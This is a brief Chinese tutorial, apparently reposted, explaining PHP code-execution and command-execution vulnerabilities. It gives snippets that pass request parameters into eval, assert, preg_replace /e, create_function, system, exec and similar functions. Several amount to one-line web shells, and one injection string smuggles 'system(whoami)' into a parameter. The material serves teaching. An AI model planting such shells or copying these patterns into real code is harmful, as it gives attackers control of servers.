代码执行&命令执行


代码执行

  代码执行是指攻击者通过浏览器或者其他客户端软件提交一些用户自己构造的PHP代码至服务器程序,服务器程序通过eval、assert及reg_replace等函数执行用户提交的PHP代码。

 

eval assert

/*
 * evil1=phpinfo();
 */
@eval($_POST['evil1']);
@assert($_POST['evil2']);

 

preg_replace

Preg_replace函数存在模式修饰符,其中,修饰符e会让preg_replace函数替换后的字符串作为PHP代码去执行。

 

// h=phpinfo();
preg_replace
("/test/e",$_POST["h"],"jutst test");


call_user_func

@call_user_func($_GET['fun'],$_POST['arg']);

 

 

 

create_function

// ?uid=1;}system(whoami);/*
$uid
=$_GET['uid']; $code='echo'.$func.'test'.$uid.'.'; echo $str2; create_function('$func',$code);

 

 

array_map

$func=$_GET['func'];
$argv=$_GET['argv'];
$arr[0]=$argv;
array_map($func,$arr);

 

 

 

命令执行

  命令执行就是调用一些可以执行系统命令的函数来实现在系统层面添加账户、修改账户密码及安装rootkit等操作。常见敏感函数有system、exec、shell_ exec及passthru等函数。

<?php
/*
 * eg: c=tasklist
 */
$cmd=$_POST['c'];
@system($cmd);

echo @exec($_POST['c2']);

echo @shell_exec($_POST['c3']);

@passthru($_POST['c4']);

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM